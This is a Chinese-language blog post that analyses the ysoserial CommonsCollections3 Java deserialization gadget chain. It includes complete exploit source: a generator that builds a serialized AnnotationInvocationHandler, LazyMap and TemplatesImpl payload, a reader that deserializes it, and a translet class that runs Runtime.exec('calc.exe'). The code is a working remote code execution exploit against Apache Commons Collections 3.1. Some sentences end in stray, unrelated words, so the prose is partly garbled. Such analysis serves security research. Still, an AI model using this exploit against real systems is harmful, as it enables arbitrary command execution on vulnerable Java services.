java反序列化-ysoserial-調試分析總結篇(3)

前言:

這篇文章主要分析commoncollections3,這條利用鏈如yso描述,這個與cc1相似,只是反射調用方法是用的不是invokeTransformer而用的是InstantiateTransformer,整個調用過程以下圖java

利用鏈分析:

如上圖所示,入口點仍是Annotationinvoationhandler的Entrysetapache

此時將會調用membervalues.get,其中var4位entryset,而membervalues中存儲的爲lazymap類的實例,即調用lazymap的get函數ide

即接着調用chainedTransformer來對key進行轉換函數

其中iTransformer中存儲了除了constantTransformer直接返回類,這裏使用的類是class com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilterspa

接下來到了InstantiateTransformer的transformer函數,這裏面會拿到input對應類的參數類型爲templates的構造函數,而後再實例化代理

接着一路跟到TrAXFilter的構造函數中,能夠看到這裏實際上調用了templates.newTransformer,那咱們知道templatesImpl的能夠經過_bytecodecode

接下來的過程就不在敘述,就是templates類的利用orm

yso構造分析:

 yso在這裏構造payload的時候,constantTransformer返回的是TrAxFilter類,而後再結合instantiateTransformer的transform函數能夠拿到入口參數的構造函數,而後再實例化,實例化過程當中將調用xml

TrAxFilter的構造函數,從而調用templates.newTransformer對象

exp:

exp.java

package CommonCollections3;

import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.InstantiateTransformer;
import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

//
//@Dependencies({"commons-collections:commons-collections:3.1"})
//
public class exp {
    public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, NotFoundException, IOException, CannotCompileException {

        //
        //構造Templates對象
        //
        TemplatesImpl tmp = new TemplatesImpl();

        //rce代碼塊的對象
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(payload.class));
        CtClass pay = pool.get(payload.class.getName());
        byte[] PayCode = pay.toBytecode();

        Class clazz;
        clazz  = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field tf = clazz.getDeclaredField("_bytecodes");
        tf.setAccessible(true);
        tf.set(tmp,new byte[][]{PayCode});
        Field name = clazz.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(tmp,"tr1ple");

        HashMap InnerMap = new HashMap();
        Transformer[] trans = new Transformer[]{
         new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{tmp}
                        )
        };

        ChainedTransformer chined = new ChainedTransformer(trans);
        Map outmap = LazyMap.decorate(InnerMap,chined);

        final Constructor con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        con.setAccessible(true);
        InvocationHandler han = (InvocationHandler)con.newInstance(Override.class,outmap);
        Map proxy = (Map) Proxy.newProxyInstance(exp.class.getClassLoader(),outmap.getClass().getInterfaces(),han);


        //外層裝proxy代理
        final Constructor out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        out_con.setAccessible(true);
        InvocationHandler out_han = (InvocationHandler) out_con.newInstance(Override.class,proxy);

        //序列化
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser");
        FileOutputStream fo = new FileOutputStream(file);
        ObjectOutputStream ObjOut = new ObjectOutputStream(fo);
        ObjOut.writeObject(out_han);

    }
}

readobj.java

package CommonCollections3;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.Runtime;

public class readObj {
    public static void main(String[] args) {
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser");
        try {
            ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
            obj.readObject();
            obj.close();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }

}

payload.java

package CommonCollections3;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class payload extends AbstractTranslet {
    {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public payload(){
        System.out.println("tr1ple 2333");
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

這條利用鏈也是受jdk版本影響的,相較於cc2有侷限性,和cc1相相似,外層包裝相同,只是內部chained轉換鏈變化了

相關文章
相關標籤/搜索